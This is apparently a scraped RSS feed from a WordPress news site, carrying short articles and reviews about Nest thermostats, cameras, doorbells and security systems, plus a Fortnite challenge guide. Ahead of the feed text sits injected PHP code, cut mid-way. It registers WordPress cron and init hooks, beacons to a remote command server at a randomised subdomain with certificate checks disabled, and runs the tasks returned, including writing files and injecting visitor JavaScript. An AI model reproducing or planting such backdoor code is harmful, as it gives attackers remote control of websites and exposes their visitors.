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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Nest’s – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 25 Sep 2022 00:44:18 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Nest’s – Brief News https://briefnews.eu 32 32 Louise Fletcher: Cuckoo’s Nest’s Nurse Ratched battled cancer before her death https://briefnews.eu/louise-fletcher-cuckoos-nests-nurse-ratched-battled-cancer-before-her-death/ https://briefnews.eu/louise-fletcher-cuckoos-nests-nurse-ratched-battled-cancer-before-her-death/#respond Sun, 25 Sep 2022 00:44:18 +0000 https://briefnews.eu/louise-fletcher-cuckoos-nests-nurse-ratched-battled-cancer-before-her-death/

Louise Fletcher, famed for her role as Nurse Ratched in the classic film One Flew Over the Cuckoo’s Nest, battled cancer twice before her death.

]]> https://briefnews.eu/louise-fletcher-cuckoos-nests-nurse-ratched-battled-cancer-before-her-death/feed/ 0 Fortnite goose nests: Map locations for search waterside goose nests 14 days challenge https://briefnews.eu/fortnite-goose-nests-map-locations-for-search-waterside-goose-nests-14-days-challenge/ https://briefnews.eu/fortnite-goose-nests-map-locations-for-search-waterside-goose-nests-14-days-challenge/#respond Mon, 24 Dec 2018 17:36:15 +0000 http://briefnews.eu/fortnite-goose-nests-map-locations-for-search-waterside-goose-nests-14-days-challenge/

goose nests is the sixth challenge for the 14 Days of Fortnite.

Fortnite search waterside goose nests became available to play on the sixth day of the 14 Days of Fortnite.

The Fortnite goose nests challenge sees Battle Royale players searching for six goose nests dotted around the Battle Royale map.

Completing Fortnite goose nests will net Battle Royale players a Christmas themed reward.

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In this story you will find out all the Fortnite goose nests locations needed to complete the 14 Days of Fortnite challenge.

As revealed in a post by Fortnite Insider, there are 19 Fortnite goose nest map locations you can head to.

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On the same day that the Fortnite goose nest challenge became available to play a new LTM was added to Battle Royale.

This limited time mode is disco domination.

Announcing the news, the official Fortnite Twitter posted: “Set your holiday spirit free and party all night long with the Holiday Disco LTM!“

We’re almost reaching the halfway point of the 14 Days of Fortnite, and thanks to dataminers we have a good idea of other upcoming challenges.

Here are the other Fortnite 14 Days challenges, according to leaks from dataminers:

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• Damage with different weapon types

• Dance under Christmas trees

• Destroy Snowflake Decorations

• Fly through Biplane rings

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• Hit Players with Snowballs

• Interact with Chests

• Thank the Bus Driver

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• Do tricks on a snowboard

• Use a Port-a-Fort

• Use a tool in Creative Mode

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]]> https://briefnews.eu/fortnite-goose-nests-map-locations-for-search-waterside-goose-nests-14-days-challenge/feed/ 0 Nest’s Temperature Sensor is now available for $39 https://briefnews.eu/nests-temperature-sensor-is-now-available-for-39/ https://briefnews.eu/nests-temperature-sensor-is-now-available-for-39/#respond Thu, 03 May 2018 10:03:27 +0000 http://briefnews.eu/nests-temperature-sensor-is-now-available-for-39/

Don’t worry if you missed out on pre-ordering Nest’s Temperature Sensor last month — it’s now available for purchase, and you can even get it straight from the company’s website or from the Google Store. The puck-shaped device works in tandem with Nest’s latest Learning Thermostat or its simpler and more affordable Thermostat E. In fact, you can get one bundled with either temperature regulator to save $ 20 or $ 10, respectively, if you don’t have the company’s thermostats yet.

The Temperature Sensor works by monitoring how cold or how hot a specific location in your house is. Its thermostat companion can then make sure that room stays at the temperature you specified — like say, if you want your bedroom colder than the baby’s room or your living room a bit warmer than everywhere else — for max comfort. It sounds especially useful if you have a big house, which is most likely why Nest is offering a 3-pack bundle price for $ 99. You can still get just one sensor for $ 39, though, if you’d still like to make sure you don’t get too hot or too cold in your apartment.

Via: Slashgear, Android Police

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The opioid crisis is throwing many grandparents into the demanding role of caregiver at a time when they expected to enjoy more financial freedom and relaxation.

]]> https://briefnews.eu/no-rest-for-the-retired-opioid-crisis-fills-empty-nests-as-grandparents-step-up/feed/ 0 Nest’s $229 video doorbell is a useful addition to its ecosystem https://briefnews.eu/nests-229-video-doorbell-is-a-useful-addition-to-its-ecosystem/ https://briefnews.eu/nests-229-video-doorbell-is-a-useful-addition-to-its-ecosystem/#respond Thu, 15 Mar 2018 04:43:43 +0000 http://briefnews.eu/nests-229-video-doorbell-is-a-useful-addition-to-its-ecosystem/

Last September, Nest introduced several products to its connected home lineup: the Nest Secure home security system, the Nest Cam IQ Outdoor and the Nest Hello video doorbell. While both the Secure and the IQ outdoor cam have been out for a few months already, the Hello had not come to market yet. That is, until now. Today, the Hello and the previously announced Nest x Yale Lock are both officially available for $ 229 and $ 249 respectively. Oh, and Nest is introducing something new today as well: the Nest Temperature Sensor.

As its name suggests, the temperature sensor works in conjunction with the Nest Thermostat (and the Nest Thermostat E) to let you control the temperature in individual rooms. So if you set one in the bedroom, for example, you can then configure the Nest app to have it so that room is colder or warmer than the rest of the house. The price for a single unit is $ 39 or $ 99 for a pack of three. You can pre-order it starting today, and it’ll begin shipping next month.

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As part of the above announcement, Nest recently gave us a demo of some of its connected home products to walk us through some of the new features. We saw much of it already at last year’s Nest event, but it was good to see how all of it comes together. Of course, you can definitely buy these products individually and they’ll work fine by themselves. But the beauty of the Nest ecosystem is when it all works together.

In our demo, Nest showed us a series of hypothetical home scenarios where its connected home system would come in handy. For example, if someone is at the door, the Nest Hello video doorbell would immediately recognize that there’s someone there. If you’re a Nest Aware subscriber, you’d not only get a notification on your phone that there’s a person at the door, but the facial recognition feature would kick in too. Basically, once the same person comes to your door enough times, you can train Nest’s Familiar Face Alerts to identify him or her, perhaps as your mother or your neighbor John. We tried an early version of this feature with the Nest Cam IQ Indoor, but it wasn’t very good back then. Hopefully the newer version will be better.

If you happen to have a Google Assistant-enabled device in your home — say a Google Home Mini or maybe the new Nest Cam IQ Indoor — those will give you Nest Hello notifications too. They’ll either say “Someone’s at the door” or, if you have a Nest Aware subscription, the name of that person as well (eg. “John’s at the door”).

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From there, you can check out who your guest is by looking at the Nest app. The interesting thing about the Hello’s camera is that it has a vertical 4:3 ratio, so that you can see the person from head to toe. In our demo, we were pretty impressed by how sharp the HD quality was, and I liked that you could pan the camera left and right to see what else was around. We should note here that the Hello needs to be hardwired to your house’s electrical system, while the Ring smart doorbell just needs a rechargeable battery. This could be either good or bad depending on how you see it — hardwired means it’ll never run out of power, but it also means the Hello is a lot harder to install.

A Nest spokesperson told me that the Hello also has a “quiet time” mode that is basically a Do Not Disturb function for your doorbell, which is good for when the baby is taking a nap. You’ll still get push notifications on your phone, but that’s it.

And if you want to let John in and you have the Nest x Yale Lock installed, you can just unlock the door right in the app. And hey, if your house has the Nest Secure security system installed, unlocking the Yale Lock will automatically disarm the alarm as well.

Speaking of Nest Secure, Nest’s director of product marketing, Maxime Veron, said Nest added a few new features to the home security system since last year’s launch. For one thing, Nest Secure now has an “instant alarm.” Before, Nest Secure would give you a 30-second delay when turning it on, to allow you enough time to leave the house without setting off the alarm. But, based on customer feedback, now you can just instantly turn it on, which offers more peace of mind, especially when arming your house before going to bed.

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Next, is the ability to arm your Nest Secure just by using Google Assistant. So, you can say “OK Google, set Nest Secure to away”, and that would then automatically turn Nest Secure on, giving you 30 seconds to leave the house before the alarm is set. And, yes, if you have the Nest x Yale Lock, you can have that automatically lock the house a few seconds after that as well. In the demo that we had, this happened a lot longer than I would like — around a minute or so — but according to Veron, that can always be adjusted. Oh, and if you have a Nest Cam, you can have that automatically turn on when you leave the house as well.

We should mention here that Nest told us that you can only use Google Assistant to arm Nest Secure, and not to disarm it. Which is good, because you don’t want any ol’ stranger to break into the house just by giving a voice command.

Also, it’s worth pointing out how different the Nest Cam IQ Indoor is with the new Google Assistant integration, which we didn’t have a chance to test out before. In our demo, this new feature almost turns it into a pseudo Google Home device — it can answer basic Google queries like “What’s the weather?” and “How tall is the Eiffel Tower?” The only thing it can’t do that a Google Home can, is continuous audio playback, like playing music or podcasts. But if you don’t care about that, then getting a Nest Cam IQ Indoor is like getting a webcam and a Google Home in one device, which is pretty neat.

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Going back to new Nest Secure features, another new one is that you can now have it so that the hub chimes whenever certain doors open, sort of like when you enter a store and a bell rings. To go along with this, Nest also added a “Quiet Open” option, where you can press a button that’ll disarm the door for just the one time — if it’s early in the morning, for example — and then it’ll go right back on after you leave.

“We started on this mission six years ago, with the thermostat,” said Veron. “But now we have 12 products in the catalog and have sold over 11 million products. [We believe] Nest is synonymous with the smart home.”

That said, Nest is still something of a latecomer to the industry; it’s definitely not the first to come up with a wireless security system, and the Nest Hello is obviously a response to the popular Ring smart doorbell. And now that Amazon has purchased Ring and has its own Cloud Cam security camera as well, it’s clear that Nest will have a lot of competition going forward.

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It also bears mentioning that Nest products tend to be on the expensive side. While the Hello will retail for $ 229, you can get the Ring for around $ 134 on Amazon. Amazon’s Cloud Cam is also only $ 120, while the regular Nest Cam Indoor is $ 200 (The IQ version is about $ 100 more). You have to pay at least $ 5 a month to get any kind of video archiving with Nest Aware (if you don’t pay anything, all you get are still snapshots for the past 3 hours), while Amazon’s Cloud Cam video archives are free for the past 24 hours.

Still, Nest is betting hard on its connected home dream. That could certainly be why Google recently decided to merge their hardware teams together, which would bring a heavy dose of Google-powered AI to the Nest party. And with Google-imbued smart displays from the likes of Lenovo and LG coming up, it’s easy to see how Nest products would incorporate all of that and more.

Veron himself gave a hint that this is still early days in the Nest and Google marriage. “You’ll see a lot more Nest and Google integrations in the year ahead,” he teased. With rivals nipping at its heels and Amazon seemingly cutting off Nest products from its website, it’ll likely need as much support as it can get.

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As an extremely neurotic homeowner, I am always looking for new ways to keep my home safe and spy on my dog, to make sure he’s not getting into mischief. 

So I was extremely excited to try out the Nest Secure, the smart-home company’s new $ 499 security system. Nest, one of Google’s corporate siblings, designed the Secure to be slicker and smarter than other security systems, inside a package you won’t mind having in your home. 

I’ve been using the Secure for the last month now, including while I was away on vacation, and I was very happy with it. For a reasonable price, you get a smart solution that makes your home feel a little bit more like a castle.

Here’s how the Nest Secure works, and why I liked it:

The Nest Secure consists of three major components, all of which are sold together.

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First, there’s the Nest Guard, a hamburger-sized hub for the system.

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A lightweight device that’s about the size of two hockey pucks stacked on top of each other, the  Guard is the primary way to arm and disarm the Secure. It has a number pad on top where you enter a PIN to activate the system.

You can assign each person in your home his or her own security code. If you do, the Nest app can use them to tell you who came and left your home and when, a feature that could come in handy if you have kids.

Google intended the Guard to be attractive, because it designed the device to be placed in an entryway or vestibule. You can either set it on a flat surface or hang it on a wall with a screw.  

The most clever bit about the Guard is that it doubles as a motion sensor. Once the Secure system is armed, the Guard will trigger an alert if somebody walks past it.

The Guard includes a battery backup that’s designed to last 12 hours, so the system can keep running even in a power outage.

Next are the Nest Detect devices, the most important parts of the system.

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The Detect devices can sense when a door or window is opened. They also serve as motion detectors.

The Secure system comes with two Detects. If you need more, Nest sells them for $ 59 a pop.

The devices are way easier to install than I thought they would be. Assuming you to use one to monitor a window or door, you just place it in the upper corner of the window frame or door frame using an attached adhesive strip or an included screw, depending on how secure you want it to be. The Nest app walks you through the process and helps you test the Detects to make sure you installed them correctly.

I was able to install the ones that came with my kit on my front and back doors in less than half an hour. They were so easy to install, I thought about grabbing more to monitor the windows in my house, too.

But you don’t have to use them to guard the openings to your house. You can instead attach them to your walls and use them as room-sized motion detectors. 


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]]> https://briefnews.eu/review-nests-new-499-home-security-system-is-simple-to-install-and-made-me-feel-a-lot-safer-googl/feed/ 0 Health Canada warns of suffocation risks of baby nests https://briefnews.eu/health-canada-warns-of-suffocation-risks-of-baby-nests/ https://briefnews.eu/health-canada-warns-of-suffocation-risks-of-baby-nests/#respond Fri, 25 Aug 2017 21:38:08 +0000 http://briefnews.eu/health-canada-warns-of-suffocation-risks-of-baby-nests/ hi-852-sleeping-baby-istock_000013467438small

Health Canada is warning the public about the suffocation risk associated with small, portable beds with soft, padded sides known as baby nests.

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The Nest thermostat’s premium looks match its pretty hefty price tag, but if you’re cool with a simpler version that can still do the job, you may want to wait it out. Evan Blass, a notable gadget leaker known as evleaks, has tweeted an image of what looks like an unadorned version of the Nest thermostat. Based on its no-frills appearance, it seems to be the sub-$ 200 version Bloomberg said the Google-owned company is working on. Mark Gurman, the journalist who wrote the piece, even confirmed that it’s the cheaper Nest he reported in March.

Unlike the current models, the thermostat in the image doesn’t have a metal body or even a traditional LCD — it’s all plastic. The temperatures are displayed as colorful numbers on the white plastic screen, which might or might not be touch-enabled. Bloomberg said the more affordable Nest will (understandably) be equipped with less expensive components and could be available sometime in 2018. We’ll just have to wait for more info on what the sub-$ 200 thermostat can and can’t do compared to its more expensive siblings.

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Nest burst onto the scene with a thermostat that was easy to use, had a slick interface, came with actual smart features and didn’t look like someone just taped an off-white box to your wall. It followed that up with a less exciting, but possibly more important smoke and carbon monoxide detector. Then instead of building its own camera, it bought Dropcam, changed the name added some cloud features and tada, the Nest Cam.

That last one is important because it gets most of Nest’s update love. There’s the “original” Nest Cam (basically the DropCam with a new name), an outdoor version and now the new Nest Cam IQ. It’s supposed to be the smarter camera in the line up. It houses an HDR 8-megapixel 4K sensor that outputs 1080p images. The speaker and microphone are better with noise reduction and louder output. The $ 300 camera even has a six-core processor to round out the impressive hardware inside. But it’s the software and face/human detection system that Nest wants to impress you with.

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The IQ’s ability to see people and recognize faces is the camera’s big feature. Previous versions of the Nest Cam could (mostly) recognize when a person entered the field of view. The IQ expands upon that with facial recognition. After your initial setup, the companion app will start pinging you about faces it sees and asking if it’s someone you know. This is where it gets… interesting.

Nest warned that false positives would occur if the camera was facing a TV or a mirror. But if that was unavoidable, just turn it off while you’re in your house using the feature that notes when you’re at home or away. And that, right there, is the problem with facial recognition. If it can be fooled by an episode of Game of Thrones or in my case portraits drawn by my wife, friends and Andy Warhol it’s not really a feature worthy of a security product.

Plus, if I introduced a new face to the mix, I wouldn’t always get a notification. I would have to open the app and go into the Familiar Faces section and decide if it was a friend or potential foe.

The camera also has something called Supersight where it’ll zoom in and track activity in the frame. That’s where the power of that 4K sensor comes into play. The enhanced area looks outstanding and you can see the face better than when you would if you zoomed in with the other Nest cameras. That’s when it works. It was a bit hit or miss for me. Once it zoomed in on my cat sleeping during a heavy sigh then later ignored a person walking through a room.

Plus the Familiar Faces features require a Nest Aware subscription. In fact, you’re going to need to pony up at least $ 10 a month (for 10 days of cloud recording, $ 30 for 30 days of recording) if you want more than three hours of recordings and want to be able to record clips. So if someone breaks into your house and four hours have passed, you’re hosed unless you’ve been paying for Nest Aware.

Add that on top of the $ 300 price tag that’s $ 100 more than the regular Nest Cam, the technology that’s hit or miss and facial recognition that seems more like a gimmick than an actual feature and the argument for upgrading to the IQ falls apart rather quickly.

Yes, the 4K sensor does make for footage that’s crisper and closer to real life, but just barely. The microphone and speaker updates are nice, but it’s unlikely you’ll be able to use it to scare off intruders. I use mine to tell the cats to get off the counter and the Nest Cam’s speaker is fine for that. But the IQ also lacks some of the features that make the Nest Cam useful like a magnetic base and the ability to twist the camera lens to compensate for angled mounting.

The Nest Cam IQ doesn’t feel like it should be its own product and instead should be the updated version of the regular Nest Cam with a feature that’s definitely not ready for protecting your home. Facial recognition might be useful in the future, but today it’s a barely a feature on an overpriced nanny cam.

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My girlfriend and I were stuck in traffic on the Grand Central Parkway last Friday night when I got an alert on my iPhone that an unfamiliar person had just entered our apartment.

I swiped open the notification and was taken to a video feed of our living room from just a few seconds before.

But it was nothing to be worried about, just a friend of ours who was staying over to watch our cats while we were out of town for the night.

I told the app all was good, but if it had been a robber or other intruder, I would’ve had a clear, HD shot of their face for evidence.

That’s the key feature of the new web camera from Nest, the smart-home gadget company that spun out of Google.

The Nest Cam IQ is Nest’s most advanced, most expensive camera yet. It has a 4K sensor, which lets you digitally zoom in on people in your home, a microphone and speaker for two-way chats, and that new facial recognition feature that can automatically identify people and alert you if a stranger walks in.

I’ve been testing the $ 299 Nest Cam IQ for a few days, and it worked well for the most part. I enjoyed having a window into my apartment when I wasn’t there, keeping tabs on our housekeeper and cat-sitting friend while we were away.

But I also encountered a few annoying bugs, and I don’t think the cost of the camera and the subscription to the service (necessary to get the most out of this purchase) would be worth it for a lot of people. It’s also not that much different or better than the cheaper Nest Cam, so you may want to start with that if you’re interested.

How it works

The big new feature with the Nest Cam IQ is facial recognition. Since Nest is one of Google’s sister companies under Alphabet, it’s able to borrow Google’s technology and identify “trusted” people in your home. You can then customize alerts on your phone, so you only get notified when a stranger enters, for example.

Whenever the IQ sees a new face for the first time, it asks you if you know that person or not. Trusted people are stored so you’re never bothered about them again (unless you want to be), and strangers are flagged in a timeline of video stored in Nest’s cloud service.

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The new 4K sensor doesn’t stream video from your home in full 4K quality, but it does help with digital zoom. I was able to zoom in pretty close on objects and people in the video feed without too much blur. The sensor can also “track” a person as they enter the room so you can get a good look at them.

There’s also night vision, improved microphones and speakers, and a brand-new design. All of that improves on previous versions of the Nest Cam, but there’s nothing revolutionary here. It’s just a really nice, new version of the same camera Nest had before.

To unlock most of the best Nest Cam features, you need to sign up for the company’s Nest Aware service, which starts at $ 10 per month or $ 100 per year. That lets you scrub through up to 10 days of video history, recognizes faces, and other premium features. You can still do a lot with the Nest Cam without paying for the subscription, but then you’re not unlocking its full potential.

Some bugs

nest cam iq appBusiness InsiderIn my tests, the IQ was able to detect faces pretty well, but there were a few times when I’d get an unknown person alert for someone I had already identified as a trusted person. The IQ often thought it was looking at a different person in those cases.

A Nest rep told me it could take a few days for the camera’s facial recognition system to fully learn all the faces you want it to, but that seems to defeat the purpose. In my experience, Google’s facial recognition has always been pretty good, so it’s strange the IQ can’t learn a face the first time it sees one.

Another annoying thing with facial recognition: Since my living room TV is within the IQ’s field of view, I often got alerts for faces it spotted on TV, and since there are a lot of different people on TV, that meant I got a lot of unnecessary alerts.

Unfortunately, there’s no real solution for that. The IQ can’t tell the difference between a real person in the room or a person on a TV screen. Nest just suggests moving the camera so it’s not facing your TV.

Finally, the early version of the Nest app I tested murdered my iPhone’s battery, even when I had my phone’s display off. It runs in the background, monitoring your location so the camera can turn off automatically when you get home. I suspect that’s what caused most of the drain. Still, it wasn’t final software, and the battery didn’t always drain so rapidly on me, so it’s possible this will be fixed in the final version of the Nest app.

Price might turn you off

It can be a lot to swallow: $ 299, plus another $ 10 per month or $ 100 per year to unlock all the features in the Nest Cam IQ. The 10-day video history is nice, but you may not need the facial recognition feature and some other alerts the service offers. Then again, no other company offers a service this good, so it’s really your only option.

Should you buy it?

I haven’t tested many webcams like Nest, but despite the occasional bugs mentioned above, it feels like a solid product. It’s well designed, the picture quality is great, and it’s comforting to have a library of video of everything that happens in your home, especially when you can use the 4K camera to identify faces better than other products.

For me, especially considering the price, the Nest Cam IQ was a nice-to-have, but not a must-have. If I lived in a larger apartment or house, had children, or had more visitors, I could see it being worth it.

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